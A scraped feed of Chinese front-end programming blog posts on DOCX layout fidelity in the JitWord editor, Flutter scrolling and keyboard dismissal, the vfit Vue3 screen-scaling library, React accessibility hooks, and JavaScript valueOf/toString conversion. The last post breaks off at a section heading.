阅读视图

发现新文章,点击刷新页面。

一个普通Word文档,为什么99%的开源编辑器都"认怂"了?我们选择正面硬刚

先上一张图:

图片

这个是 Word 中我们高频使用的文档案例,在合同,公文,档案等各个场景中都能看见,但是我测试了市面上10多个主流开源的富文本/文档编辑器,没有一个能完整把上面的样式 1: 1 解析出来,99%解析的效果都是这样:

图片

其实在很多在线文档系统里,DOCX 导入后的效果之所以容易失真,是因为它们通常只保留了最表层的字号、颜色和段落,而丢失了真正决定版式的细节:

  • 分散对齐
  • 字符缩放
  • 字间距
  • 精确行距
  • 文档网格
  • 页面尺寸与页边距
  • 中西文混排规则

在 Web 编辑器领域,中文排版长期被忽视。大多数编辑器仅关注英文排版模型,导致中文文档出现标点溢出、行距不均、分散对齐缺失等问题。

为了解决这个痛点,我们花了半年时间做技术研究和验证,终于实现了一套高精度Docx解析算法,支持各种复杂的Word样式排版的解析渲染,并能在Web端实时编辑。

图片

没错,它就是 jitword,对标 Word 排版效果,原生支持中文排版规范,实现高保真文档导入导出。

老规矩,先上地址:

开源sdk: github.com/jitOffice/j…

JitWord 从底层重新设计了排版引擎,原生支持 GB/T 标点压缩、分散对齐、字符缩放、网格行距等专业排版特性,并实现了与 Word 格式的高保真双向互转。(虽然目前还达不到100%精度,但实测已经是业内top3的方案了)

下面是我们设计的高精度docx解析的技术架构:

图片大家可以参考一下,下面我会和大家详细分享一下我们实现的方案细节。

核心排版能力

一、分散对齐 — 像 Word 一样均匀分布每个字符

图片

传统 Web 编辑器只有左对齐、居中、右对齐、两端对齐四种模式。JitWord 额外实现了 分散对齐(Distribute) ,这是中文公文和正式文档中的必备排版方式。

实现原理:

  • 精确计算每行可用宽度与文本实际宽度的差值
  • 将差值均匀分配到每个字符间隙中:间距 = (行宽 - 文本宽) / (字符数 - 1)
  • 实时响应窗口缩放和字体变化,通过 ResizeObserver 动态重排
  • 三重 CSS 保障:text-align: justify + text-align-last: justify + text-justify: inter-character

效果:  每个字符等间距分布,行首行尾严格对齐,无论段落宽度如何变化都保持均匀美观。


二、字符缩放 — 灵活调整字符宽度比例

图片

支持 33% 到 200% 共 8 档水平缩放预设,可在不改变字号的前提下调整文本密度。

技术方案:

  • 使用 CSS transform: scaleX() 实现无损缩放
  • 自动补偿缩放后的布局宽度,确保分散对齐等特性不受影响
  • 导出 Word 时精确映射到 w:rPr > w:w 字符缩放属性

应用场景:  表格单元格内容过长时压缩显示、标题需要加宽强调效果、模拟 Word 中的字符缩放格式。


三、CJK 排版四件套 — 原生中文排版规范支持

JitWord 内置四项核心 CJK 排版特性,可从 Word 文档中自动识别并还原:

特性 作用 技术实现
严格折行 防止句号、逗号等标点出现在行首 line-break: strict + 东亚换行规则检测
标点压缩 连续标点(如 」、) 自动挤压间距 CSS text-spacing-trim: normal (渐进增强)
字距控制 保持 CJK 字符等宽边界 font-kerning: none 禁用西文字距调整
中英文自动间距 中文与英文/数字之间自动添加间距 CSS text-autospace: normal (渐进增强)

导入兼容性:  从 Word 文档的 <w:documentLayout> 配置中自动提取 characterSpacingControldoNotWrapTextWithPunctnoPunctuationKerningbalanceSingleByteDoubleByteWidth 等属性,精确映射到对应的 CSS 排版规则。


四、字间距精细调整

支持以 磅值(pt)  为单位的字间距调整,与 Word 完全一致:

  • 预设 9 档:从紧缩 -2pt 到加宽 5pt
  • 快捷键支持:每次增减 0.5pt,范围 -5pt ~ 10pt
  • 导出 Word 时精确转换为 twentieths of a point(Word 原生单位)

五、网格行距 — 公文排版标准

图片

支持 Word 文档网格(Document Grid)特性,段落基线自动对齐到文档网格,完美还原政府公文 "每页固定行数" 的排版要求。

高保真文档互转

DOCX 导入 — 五阶段 IR 管线

图片

JitWord 采用自研的中间表示(IR)架构,实现从 Word 到编辑器的高保真格式转换:

DOCX 文件 → XMLAST 解析 → DocIR 中间表示 → JitWord JSON 映射 → Schema 合规校验

关键能力:

  • 格式完整保留段落对齐、字间距、字符缩放、行高、缩进等属性逐一映射
  • CJK 属性提取自动识别文档级排版设置(标点压缩、折行规则、网格配置)
  • 图片异步持久化嵌入图片自动提取、上传到服务端,支持降级到 Base64
  • 智能降级docx4js 为主引擎,mammoth.js 作为兼容性备选
  • 诊断报告导入后生成详细报告,标注不支持的特性和有损转换项

DOCX 导出 — 精确格式输出

编辑器内容反向导出为标准 Word 文档:

  • 对齐方式精确映射(含分散对齐 AlignmentType.DISTRIBUTE
  • 字间距从 pt 转换为 Word 的 twips 单位(ptValue × 20
  • 字符缩放转换为 Word 百分比(0-400%)
  • 支持浮动图片、复杂表格、有序/无序列表、代码块
  • 数学公式支持:LaTeX 自动转换为 Word OMML 格式

PDF 导出 — 像素级还原

自研的 PDF 导出引擎,确保所见即所得:

  • 逐元素分页精确计算每个元素的垂直空间占用,智能分页
  • 双渲染策略优先使用 SVG foreignObject(更好的字体支持),自动降级到 Canvas 渲染
  • 保真度校验导出后自动采样校验画布内容,检测空白或异常渲染并触发重试
  • 布局锁定导出时等待字体加载、图片加载、DOM 稳定后再截图
  • 图表/脑图静态化ECharts 图表和脑图自动转换为静态图片嵌入

单位体系统一

全链路采用 磅值(pt)  作为标准单位,与 Word 原生体系一致:

场景 单位 转换关系
编辑器内部 pt 基准单位
CSS 渲染 px 1pt = 1.333px
Word 文档 twips 1pt = 20 twips
导入兼容 half-points 1pt = 2 half-points

与其他 Web 编辑器的对比

能力 JitWord 通用富文本编辑器 在线协作文档
分散对齐 原生支持 不支持 部分支持
字符缩放 33%-200% 不支持 不支持
标点压缩 自动识别 不支持 不支持
严格折行 智能启用 不支持 基础支持
网格行距 完整支持 不支持 不支持
DOCX 高保真导入 五阶段 IR 管线 基础 HTML 转换 有损导入
DOCX 导出 精确格式映射 有限支持 有损导出
PDF 导出保真度 像素级 + 双渲染 浏览器打印 服务端渲染

最后总结一下

JitWord 从排版引擎层面解决了中文 Web 排版的核心痛点,通过自研的分散对齐算法、CJK 排版规范支持、五阶段 IR 导入管线和像素级 PDF 导出,实现了 Web 端对 Word 排版效果的真正对标

图片

无论是政府公文的严格格式要求,还是企业文档的专业排版需求,我们都能提供开箱即用的解决方案。

当然我们还在持续迭代优化,打造更高精度,更智能的AI协同文档系统,让个人和企业能更低成本将传统 Office “搬到”线上。

大家有好的建议随时交流反馈~

Flutter ListView Physics 滚动物理效果详解

前言

在 Flutter 开发中,ListView 是最常用的列表组件之一。大多数情况下,我们直接使用默认的滚动效果,但默认的 ScrollPhysics 在某些场景下体验并不理想。本文将详细介绍 ListView 的各种 physics 属性,以及如何实现类似 iOS 的流畅弹簧滚动效果。

一、ListView 常用属性一览

1.1 核心属性

属性 类型 说明
children List<Widget> 列表项组件(ListView children 构造)
itemBuilder Widget Function(BuildContext, int) 列表项构建器(ListView.builder 构造)
itemCount int? 列表项数量
scrollDirection Axis 滚动方向(horizontal/vertical)
reverse bool 是否反向滚动
controller ScrollController? 滚动控制器
physics ScrollPhysics? 滚动物理效果(本文重点)
padding EdgeInsetsGeometry? 内边距
itemExtent double? 固定 item 高度(提升性能)
cacheExtent double? 预渲染区域大小

1.2 构造方式对比

// 方式一:直接传入 children(适用于少量固定数据)
ListView(
  children: [
    ListTile(title: Text('Item 1')),
    ListTile(title: Text('Item 2')),
    ListTile(title: Text('Item 3')),
  ],
)

// 方式二:builder 构造(适用于大量/动态数据)
ListView.builder(
  itemCount: 1000,
  itemBuilder: (context, index) {
    return ListTile(title: Text('Item $index'));
  },
)

// 方式三:separated 构造(带分割线)
ListView.separated(
  itemCount: 100,
  separatorBuilder: (context, index) => Divider(),
  itemBuilder: (context, index) => ListTile(title: Text('Item $index')),
)

二、ScrollPhysics 详解

2.1 什么是 ScrollPhysics?

ScrollPhysics 是 Flutter 滚动系统的核心抽象类,它定义了滚动视图的物理行为,包括:

  • 滚动速度与阻尼:手指滑动后的减速效果
  • 边界回弹效果:滚动到边缘时的弹性动画
  • 吸附效果:滚动停止时的位置对齐
  • ** fling 手势**:快速滑动后的惯性滚动

2.2 Flutter 内置 Physics 方案

Physics 类 效果描述
ClampingScrollPhysics Android 默认效果,边界直接卡住,无回弹
BouncingScrollPhysics iOS 默认效果,边界有弹性回弹
FixedExtentScrollPhysics 固定高度列表专用(如 ListWheelScrollView)
NeverScrollableScrollPhysics 禁用滚动
PageScrollPhysics PageView 专用,页面吸附效果
RangeMaintainingScrollPhysics 保持内容范围的物理效果

2.3 各种 Physics 效果对比

┌─────────────────────────────────────────────────────────┐
│                    BouncingScrollPhysics (iOS 风格)     │
│                                                         │
│    ╭──────────────╮                                      │
│    │   列表项 1    │ ← 向上滚动到顶部时                    │
│    │   列表项 2    │   继续拖动会出现弹性回弹              │
│    │   列表项 3    │   ╭──────────────╮                  │
│    ╰──────────────╯   │   列表项 1    │ ← 回弹效果        │
│                       │   列表项 2    │                  │
│                       ╰──────────────╯                  │
└─────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────┐
│               ClampingScrollPhysics (Android 风格)      │
│                                                         │
│    ╭──────────────╮                                      │
│    │   列表项 1    │ ← 向上滚动到顶部时                    │
│    │   列表项 2    │   直接卡住,无回弹效果                │
│    │   列表项 3    │                                      │
│    ╰──────────────╯ ↓ 边界僵硬卡住                       │
└─────────────────────────────────────────────────────────┘

三、性能优化技巧

3.1 使用 itemExtent

如果列表项高度固定,使用 itemExtent 可以显著提升滚动性能:

ListView.builder(
  itemExtent: 60.0,  // 固定高度,减少测量计算
  itemBuilder: (context, index) => MyListTile(index: index),
)

3.2 合理设置 cacheExtent

ListView.builder(
  cacheExtent: 200.0,  // 预渲染区域,酌情调整
  itemBuilder: (context, index) => MyListTile(index: index),
)

3.3 使用 const 构造

physics: const BouncingScrollPhysics(),  // 尽可能使用 const

四、总结

核心要点:

  1. 默认效果不一定最优,需要根据场景选择
  2. BouncingScrollPhysics 是实现流畅体验的好选择
  3. 善用 const 构造和 itemExtent 优化性能

💡 小贴士:如果你发现滚动效果还是不够流畅,可以检查是否在 itemBuilder 中进行了不必要的重建操作

Flutter 实现点击任意位置收起键盘的最佳实践

痛点

在 Flutter 开发中,TextField 聚焦后会弹出键盘,关闭键盘通常需要:

  • 点击系统返回键
  • 点击输入框外的空白区域(但很多情况下点击空白区域也没反应)
  • 点击其他输入框(键盘会切换到另一个输入框,不会真正收起)

更麻烦的是,点击 AppBar 按钮、下拉菜单、列表项等非空白区域时,键盘往往纹丝不动,用户体验非常割裂。


核心方案:使用 Listener 监听 PointerDownEvent

Flutter 中,原始指针事件会先于手势事件分发到 widget 树。在 PointerDown 被子 widget 消费之前拦截它,就能实现"任何触摸都先收起键盘"的效果。

代码实现

Widget build(BuildContext context) {
  return Listener(
    behavior: HitTestBehavior.translucent,
    onPointerDown: (_) => FocusScope.of(context).unfocus(),
    child: Scaffold(
      // ... 原有内容
    ),
  );
}

三个关键点:

  1. Listener —— 直接监听底层指针事件,不依赖手势识别
  2. behavior: HitTestBehavior.translucent —— 让透明区域(空白区域)也能响应命中测试,确保整个屏幕都在监听范围内
  3. FocusScope.of(context).unfocus() —— 撤销当前焦点树中的焦点,Flutter 会自动触发键盘收起

完整示例

class MyPage extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return Listener(
      behavior: HitTestBehavior.translucent,
      onPointerDown: (_) => FocusScope.of(context).unfocus(),
      child: Scaffold(
        appBar: AppBar(title: Text('示例页面')),
        body: Column(
          children: [
            TextField(
              controller: _searchController,
              decoration: InputDecoration(
                hintText: '搜索...',
                prefixIcon: Icon(Icons.search),
              ),
            ),
            Expanded(child: MyListView()),
            BottomInputBar(),
          ],
        ),
      ),
    );
  }
}

原理深入

为什么不用 GestureDetector?

GestureDetector 只能检测"命中自己边界"的事件。如果某个按钮完全占用了自己的区域,GestureDetector.onTap 能捕获到,但如果你的按钮有自己的 onPressed 处理,指头点上去后:

PointerDown → GestureDetector 尝试命中 → 命中失败(被子 widget 吸收)
           → 子 widget 的 onPressed 响应

问题在于 GestureDetector.onTap 的执行顺序在子 widget 之后(或者说它自己根本收不到被消费的事件),如果你想"先收起键盘,再让按钮正常响应",GestureDetector 是做不到的

为什么 Listener 可以?

Listener 监听的是最原始的指针事件:

PointerDown → Listener.onPointerDown 触发(此时子 widget 还没处理)
           → 子 widget 接收并处理 onPressed
           → PointerUp → GestureDetector.onTap 触发

Listener.onPointerDown 在事件被消费之前就执行了。所以我们写的 unfocus() 会立刻触发键盘收起,然后子 widget 的正常点击逻辑继续执行,两者互不干扰。

HitTestBehavior.translucent 的作用

Flutter 的命中测试默认只检测不透明区域。空白区域(Container with no color、Expanded、SizedBox 等)默认不会被命中,导致 Listener 漏掉这片区域的触摸。

设置 behavior: HitTestBehavior.translucent 后,即使区域没有颜色,也会参与命中测试,确保整个屏幕都在监听范围内。


适用场景

场景 GestureDetector Listener
点击空白区域收起键盘
点击按钮收起键盘
点击 AppBar 收起键盘
点击下拉菜单收起键盘
滑动列表收起键盘 ✅(需要 onPanUpdate) ✅(PointerDown 已覆盖)
输入框聚焦后切换到另一个输入框 ⚠️ 键盘切换不消失 ✅ 键盘真正收起

进阶:封装为 Mixin

如果多个页面都需要这个行为,可以封装成 DismissibleKeyboard Mixin:

mixin DismissibleKeyboard<T extends StatefulWidget>
    on State<T> {
  @protected
  Widget buildWithKeyboardDismiss(BuildContext context, Widget child) {
    return Listener(
      behavior: HitTestBehavior.translucent,
      onPointerDown: (_) => FocusScope.of(context).unfocus(),
      child: child,
    );
  }
}

// 使用
class HomePage extends StatefulWidget {
  @override
  _HomePageState createState() => _HomePageState();
}

class _HomePageState extends State<HomePage> with DismissibleKeyboard {
  @override
  Widget build(BuildContext context) {
    return buildWithKeyboardDismiss(
      context,
      Scaffold(
        // ... 原有内容
      ),
    );
  }
}

总结

使用 Listener + onPointerDown + HitTestBehavior.translucent 组合,就能实现"任意触摸均收起键盘"的效果,比 GestureDetector 更早捕获事件,比手动给每个按钮绑 unfocus() 更优雅、更省心。这个方案几乎适用于所有需要键盘交互的 Flutter 页面。

拒绝 rem 计算!Vue3 大屏适配,我用 vfit 一行代码搞定

大家好,我是 RayChart,vfit.js、raychart.js 作者,8 年专注 Vue3 大屏适配、Web3D、数字孪生、数据可视化实战开发,长期分享可直接落地的前端效率工具与实战教程。

每次接到 1920×1080 标准大屏设计稿,最让人头疼的永远是适配
rem 要不停换算、百分比布局易乱、手动 scale 要写一堆监听与居中逻辑,坑多还容易出bug。

今天给大家带来我自研的 Vue3 轻量大屏适配库 —— vfit,真正做到:
不用计算、不用换算、不用调复杂布局,3 分钟接入,设计稿写多少 px,代码就写多少。


一、3 分钟极速接入(复制即用)

1. 安装依赖

npm install vfit

2. 全局配置(main.ts)

import { createApp } from 'vue'
import App from './App.vue'
import { createFitScale } from 'vfit'
import 'vfit/style.css' // 必须引入,否则组件失效

const app = createApp(App)

app.use(createFitScale({
  target'#app',
  designWidth1920,    // 设计稿宽度
  designHeight1080,   // 设计稿高度
  scaleMode'auto'     // 自动适配模式,直接用
}))

app.mount('#app')

配置完成,你的页面已经具备自动等比缩放 + 窗口居中能力,任意拖拽窗口都不会变形、不会错位。


二、核心神器:FitContainer 精准定位

做大屏最痛的不是缩放,而是组件坐标还原
vfit 提供的 <FitContainer> 组件,直接解决 90% 布局痛点:

设计稿 30px → 代码直接写 30,无需任何比例计算

<template>
  <div class="screen-wrapper">
    <!-- 标题:水平居中 -->
    <FitContainer :top="50" :left="0" :right="0">
      <h1 style="text-align: center">数据可视化大屏</h1>
    </FitContainer>

    <!-- 左侧图表:直接使用设计稿坐标 -->
    <FitContainer :top="100" :left="30">
      <ChartComponent />
    </FitContainer>

    <!-- 右侧列表:吸附边缘,自动适配 -->
    <FitContainer :top="100" :right="30">
      <ListComponent />
    </FitContainer>
  </div>
</template>

核心优势

  • 支持 top / left / right / bottom / z 五维定位
  • 自动按设计稿比例计算位置
  • 4K 屏、笔记本屏、拼接屏效果完全一致
  • 无需媒体查询、无需 rem、无需手写 CSS 计算

三、实战避坑指南(必看)

  1.  样式必须引入
    忘记引入 vfit/style.css 会导致 FitContainer 失效,布局直接混乱。
  2.  层级冲突处理
    FitContainer 默认有层级,弹窗被覆盖时可手动指定:
<FitContainer :z="999">
  1.  right / bottom 特殊逻辑
  • left:按设计稿比例自动缩放
  • right:不乘缩放,保持吸附屏幕边缘
    专为大屏展示优化,视觉更稳定。

四、适用场景

  • Vue3 数据可视化大屏
  • 数字孪生项目
  • 监控中心、控制台页面
  • 多端自适应、拼接屏项目
  • 不想写复杂适配逻辑的前端项目

vfit 不是功能最繁杂的,但最简单、最稳定、最适合生产环境,让你把时间花在 ECharts、3D 渲染、业务逻辑上,而不是算像素。


五、项目资源

GitHub:github.com/v-plugin/vf…
官方文档:vfit.raychart.cn


🎁 粉丝专属福利

关注我的微信公众号 RayChart
后台回复关键词:vfit
立即免费领取:
✅ vfit 完整可运行项目模板
✅ 10 套大厂可视化大屏源码
✅ 数字孪生项目素材包
✅ 一对一技术问题答疑

公众号持续更新:Vue3 大屏适配、Web3D、3D 模型压缩、全景预览、自研效率工具、数字孪生实战干货,所有内容均可直接复制到项目使用。

使用 Hooks 构建无障碍 React 组件

无障碍不是上线前才需要检查的清单,而是从第一行代码开始就需要贯彻的设计约束。谈到 React 中的无障碍,大多数开发者会想到 ARIA 属性、语义化 HTML 和屏幕阅读器支持。这些确实重要。但还有一个完整的无障碍类别很少受到关注:尊重用户在操作系统层面已经设置好的偏好。

每个主流操作系统都允许用户配置减少动画、高对比度、深色模式和文本方向等偏好。这些不是装饰性的选择。启用”减少动画”的用户可能患有前庭功能障碍,动画过渡会让他们感到身体不适。启用高对比度的用户可能视力低下。当你的 React 应用忽略这些信号时,这不仅仅是功能缺失——而是一道屏障。

本文将向你展示如何使用 ReactUse 的 hooks 在 React 中检测和响应这些操作系统级别的偏好。我们将覆盖减少动画、对比度偏好、颜色方案检测、焦点管理和文本方向——然后将所有内容整合到一个实际的组件中。

手动监听媒体查询的问题

浏览器通过 CSS 媒体查询(如 prefers-reduced-motionprefers-contrast 和 prefers-color-scheme)暴露操作系统级别的偏好。你可以在 JavaScript 中使用 window.matchMedia 来读取这些值。手动实现的方式如下:

import { useState, useEffect } from "react";

function useManualReducedMotion(): boolean {
  const [prefersReducedMotion, setPrefersReducedMotion] = useState(false);

  useEffect(() => {
    const mediaQuery = window.matchMedia("(prefers-reduced-motion: reduce)");
    setPrefersReducedMotion(mediaQuery.matches);

    const handler = (event: MediaQueryListEvent) => {
      setPrefersReducedMotion(event.matches);
    };

    mediaQuery.addEventListener("change", handler);
    return () => mediaQuery.removeEventListener("change", handler);
  }, []);

  return prefersReducedMotion;
}

这段代码能工作,但存在问题。你需要处理 SSR(window 不存在的情况)、管理事件监听器的清理,并且需要为每个想要跟踪的媒体查询重复这个模式。将这个模式乘以减少动画、对比度、颜色方案和其他查询,你最终会得到大量容易出错的样板代码。

ReactUse 提供的 hooks 封装了这个模式,包含正确的 SSR 处理、适当的清理逻辑,以及当用户更改系统偏好时的实时更新。

useReducedMotion:尊重动画偏好

useReducedMotion hook 检测用户是否在设备上启用了”减少动画”设置。这是你能使用的最具影响力的无障碍 hooks 之一,因为动画可能会给前庭功能障碍的用户带来真实的身体不适。

import { useReducedMotion } from "@reactuses/core";

function AnimatedCard({ children }: { children: React.ReactNode }) {
  const prefersReducedMotion = useReducedMotion();

  return (
    <div
      style={{
        transition: prefersReducedMotion
          ? "none"
          : "transform 0.3s ease, opacity 0.3s ease",
        animation: prefersReducedMotion ? "none" : "fadeIn 0.5s ease-in",
      }}
    >
      {children}
    </div>
  );
}

这里的关键不是简单地禁用动画——而是在没有动画的情况下提供等价的体验。对于大多数用户需要 500ms 淡入的卡片,对于偏好减少动画的用户应该立即显示。内容相同,只是呈现方式不同。

你还可以使用这个 hook 在不同的动画策略之间切换:

import { useReducedMotion } from "@reactuses/core";

function PageTransition({ children }: { children: React.ReactNode }) {
  const prefersReducedMotion = useReducedMotion();

  if (prefersReducedMotion) {
    // 即时过渡——没有动画,但仍然有视觉变化
    return <div style={{ opacity: 1 }}>{children}</div>;
  }

  // 为未选择减少动画的用户提供完整的滑入动画
  return (
    <div
      style={{
        animation: "slideInFromRight 0.4s ease-out",
      }}
    >
      {children}
    </div>
  );
}

usePreferredContrast:适应对比度需求

usePreferredContrast hook 读取 prefers-contrast 媒体查询,告诉你用户想要更多对比度、更少对比度,还是没有偏好。这对视力低下的用户至关重要。

import { usePreferredContrast } from "@reactuses/core";

function ThemedButton({ children, onClick }: {
  children: React.ReactNode;
  onClick: () => void;
}) {
  const contrast = usePreferredContrast();

  const getButtonStyles = () => {
    switch (contrast) {
      case "more":
        return {
          backgroundColor: "#000000",
          color: "#FFFFFF",
          border: "3px solid #FFFFFF",
          fontWeight: 700 as const,
        };
      case "less":
        return {
          backgroundColor: "#E8E8E8",
          color: "#333333",
          border: "1px solid #CCCCCC",
          fontWeight: 400 as const,
        };
      default:
        return {
          backgroundColor: "#3B82F6",
          color: "#FFFFFF",
          border: "2px solid transparent",
          fontWeight: 500 as const,
        };
    }
  };

  return (
    <button onClick={onClick} style={getButtonStyles()}>
      {children}
    </button>
  );
}

当用户请求更高对比度时,你应该增大前景和背景颜色之间的差异、使用更粗的字体粗细、让边框更明显。当他们请求更低对比度时,柔化视觉强度。默认分支处理未设置偏好的用户。

usePreferredColorScheme:系统主题检测

usePreferredColorScheme hook 告诉你用户的操作系统是设置为浅色模式、深色模式,还是没有偏好。这是构建主题感知组件的基础。

import { usePreferredColorScheme } from "@reactuses/core";

function AdaptiveCard({ title, body }: { title: string; body: string }) {
  const colorScheme = usePreferredColorScheme();

  const isDark = colorScheme === "dark";

  return (
    <div
      style={{
        backgroundColor: isDark ? "#1E293B" : "#FFFFFF",
        color: isDark ? "#E2E8F0" : "#1E293B",
        border: `1px solid ${isDark ? "#334155" : "#E2E8F0"}`,
        borderRadius: "8px",
        padding: "24px",
      }}
    >
      <h3 style={{ marginTop: 0 }}>{title}</h3>
      <p>{body}</p>
    </div>
  );
}

如果你只需要一个简单的布尔值判断,ReactUse 还提供了 usePreferredDark,当用户偏好深色方案时返回 true。如果你需要一个完整的深色模式切换并持久化用户的选择,useDarkMode 可以开箱即用。

对于更细粒度的媒体查询控制,useMediaQuery 让你订阅任何 CSS 媒体查询字符串并获得实时更新。

useFocus:键盘导航和焦点管理

键盘导航是核心无障碍要求。无法使用鼠标的用户依赖 Tab 键在交互元素之间移动。useFocus hook 提供了对焦点的编程控制,这对于模态对话框、下拉菜单和动态内容至关重要。

import { useRef } from "react";
import { useFocus } from "@reactuses/core";

function SearchBar() {
  const inputRef = useRef<HTMLInputElement>(null);
  const [focused, setFocused] = useFocus(inputRef);

  return (
    <div>
      <input
        ref={inputRef}
        type="search"
        placeholder="Search..."
        style={{
          outline: focused ? "2px solid #3B82F6" : "1px solid #D1D5DB",
          padding: "8px 12px",
          borderRadius: "6px",
          width: "100%",
        }}
      />
      <button onClick={() => setFocused(true)}>
        Focus Search (Ctrl+K)
      </button>
    </div>
  );
}

这个 hook 同时返回当前焦点状态和一个设置函数。你可以使用焦点状态来应用视觉指示器(超出浏览器默认样式),并使用设置函数来编程式地移动焦点——例如,当模态框打开时或当触发键盘快捷键时。

将此与 useActiveElement 配合使用,可以跟踪整个应用中当前拥有焦点的元素,这对于构建焦点陷阱和跳过导航链接非常有用。

useTextDirection:RTL 和 LTR 支持

国际化和无障碍有很大的重叠。useTextDirection hook 检测和管理文档的文本方向,支持从左到右(LTR)和从右到左(RTL)布局。

import { useTextDirection } from "@reactuses/core";

function NavigationMenu() {
  const [dir, setDir] = useTextDirection();

  return (
    <nav
      style={{
        display: "flex",
        flexDirection: dir === "rtl" ? "row-reverse" : "row",
        gap: "16px",
        padding: "12px 24px",
      }}
    >
      <a href="/">Home</a>
      <a href="/about">About</a>
      <a href="/contact">Contact</a>
      <button onClick={() => setDir(dir === "rtl" ? "ltr" : "rtl")}>
        Toggle Direction
      </button>
    </nav>
  );
}

RTL 支持影响的不仅仅是文本对齐。导航顺序、图标位置和 margin/padding 方向都需要翻转。通过使用 useTextDirection 作为唯一数据源,你可以构建自动适应的布局逻辑。

综合示例:无障碍通知组件

下面是一个将多个无障碍 hooks 整合到单个组件中的实际示例——一个尊重动画偏好、适应对比度设置、跟随系统颜色方案并正确管理焦点的通知提示:

import { useRef, useEffect } from "react";
import {
  useReducedMotion,
  usePreferredContrast,
  usePreferredColorScheme,
  useFocus,
} from "@reactuses/core";

interface NotificationProps {
  message: string;
  type: "success" | "error" | "info";
  visible: boolean;
  onDismiss: () => void;
}

function AccessibleNotification({
  message,
  type,
  visible,
  onDismiss,
}: NotificationProps) {
  const prefersReducedMotion = useReducedMotion();
  const contrast = usePreferredContrast();
  const colorScheme = usePreferredColorScheme();
  const dismissRef = useRef<HTMLButtonElement>(null);
  const [, setFocused] = useFocus(dismissRef);

  const isDark = colorScheme === "dark";
  const isHighContrast = contrast === "more";

  // 通知出现时将焦点移至关闭按钮
  useEffect(() => {
    if (visible) {
      setFocused(true);
    }
  }, [visible, setFocused]);

  if (!visible) return null;

  const colors = {
    success: {
      bg: isDark ? "#064E3B" : "#ECFDF5",
      border: isHighContrast ? "#FFFFFF" : isDark ? "#10B981" : "#6EE7B7",
      text: isDark ? "#A7F3D0" : "#065F46",
    },
    error: {
      bg: isDark ? "#7F1D1D" : "#FEF2F2",
      border: isHighContrast ? "#FFFFFF" : isDark ? "#EF4444" : "#FCA5A5",
      text: isDark ? "#FECACA" : "#991B1B",
    },
    info: {
      bg: isDark ? "#1E3A5F" : "#EFF6FF",
      border: isHighContrast ? "#FFFFFF" : isDark ? "#3B82F6" : "#93C5FD",
      text: isDark ? "#BFDBFE" : "#1E40AF",
    },
  };

  const scheme = colors[type];

  return (
    <div
      role="alert"
      aria-live="assertive"
      style={{
        position: "fixed",
        top: "16px",
        right: "16px",
        backgroundColor: scheme.bg,
        color: scheme.text,
        border: `${isHighContrast ? "3px" : "1px"} solid ${scheme.border}`,
        borderRadius: "8px",
        padding: "16px 20px",
        maxWidth: "400px",
        display: "flex",
        alignItems: "center",
        gap: "12px",
        fontWeight: isHighContrast ? 700 : 400,
        // 尊重动画偏好
        animation: prefersReducedMotion ? "none" : "slideIn 0.3s ease-out",
        transition: prefersReducedMotion ? "none" : "opacity 0.2s ease",
      }}
    >
      <span style={{ flex: 1 }}>{message}</span>
      <button
        ref={dismissRef}
        onClick={onDismiss}
        aria-label="关闭通知"
        style={{
          background: "none",
          border: `1px solid ${scheme.text}`,
          color: scheme.text,
          cursor: "pointer",
          borderRadius: "4px",
          padding: "4px 8px",
          fontWeight: isHighContrast ? 700 : 500,
        }}
      >
        关闭
      </button>
    </div>
  );
}

这个组件展示了几个无障碍原则的协同工作:

  1. role="alert" 和 aria-live="assertive"  确保屏幕阅读器立即播报通知。
  2. useReducedMotion 为偏好减少动画的用户禁用滑入动画。
  3. usePreferredContrast 为需要更高对比度的用户增加边框宽度和字体粗细。
  4. usePreferredColorScheme 根据用户的浅色或深色主题适配所有颜色。
  5. useFocus 将键盘焦点移至关闭按钮,使用户无需使用鼠标就能操作通知。

为什么 Hooks 是无障碍的正确抽象

Hooks 具有可组合性。每个无障碍关注点都封装在自己的 hook 中,你可以按需组合它们。一个简单的按钮可能只使用 usePreferredContrast。一个复杂的模态框可能使用我们介绍的全部五个 hooks。这些 hooks 互相独立,这意味着你可以逐步采用它们,无需重构现有代码。

Hooks 还能实时响应变化。如果用户在你的应用打开时从浅色切换到深色模式,hooks 会更新,你的组件会使用新的偏好重新渲染。这是仅使用 CSS 的方案(依赖静态类名)难以实现的。

安装

通过包管理器安装 ReactUse:

npm install @reactuses/core

然后导入你需要的 hooks:

import {
  useReducedMotion,
  usePreferredContrast,
  usePreferredColorScheme,
  useFocus,
  useTextDirection,
} from "@reactuses/core";

相关 Hooks

ReactUse 提供了 100 多个 React hooks。探索全部 →

别再混淆了!JS类型转换底层:valueOf vs toString vs Symbol.toPrimitive 详解

js获取对象值的方法有三种valueOf()toString()symbol.toPrimitive这些其实是类型转换的问题;三种方式本质上略微不同;

我们知道在js中,'一切皆为对象'。每个对象都有一个toString()方法和valueOf方法,其中toString()方法返回一个表示该对象的字符串,valueOf 方法返回该对象的原始值。

一、valueOf() 与 toString()

基本类型的情况下:

const str = "hello",n = 123,bool = true;
console.log(typeof(str.toString()) + "_" + str.toString())        //string_hello
console.log(typeof(n.toString()) + "_" + n.toString()  )            //string_123
console.log(typeof(bool.toString()) + "_" + bool.toString())        //string_true

console.log(typeof(str.valueOf()) + "_" + str.valueOf())            //string_hello
console.log(typeof(n.valueOf()) + "_" + n.valueOf())                //number_123
console.log(typeof(bool.valueOf()) + "_" + bool.valueOf())          //boolean_true

// valueOf
console.log(str.valueOf() === str)  // true
console.log(n.valueOf() === n) // true
console.log(bool.valueOf() === bool) // true
// toString
console.log(str.toString() === str) // true
console.log(n.toString() === n)     // false
console.log(bool.toString() === bool) // false

toString 方法对于值类型数据使用而言,其效果相当于类型转换,将原类型转为字符串。

valueOf 方法对于值类型数据使用而言,其效果将相当于返回原数据。 引用类型的情况下:

var obj = {};

console.log(obj.toString());    //[object Object] 返回对象类型
console.log(obj.valueOf());     //{} 返回对象本身

综合例子:

let test = { 
    i: 10, 
    toString: function() {
       console.log('toString');
       return this.i; 
    }, 
    valueOf: function() { 
       console.log('valueOf');
       return this.i; 
    }
} 
console.log(test);          // { I:10, toString: f, valueOf: f }
console.log(+test);         // 10 valueOf
console.log('' + test);       // 10 valueOf
console.log(String(test));  // 10 toString
console.log(Number(test));  // 10 valueOf
console.log(test == '10');  // true valueOf
console.log(test == '10');  // true valueOf
console.log(test === '10'); // false

个人理解:

带有运算符的获取值的方式都会走valueOf()方法;强转字符串的时候走toString()方法;

二、toString() 和 String()
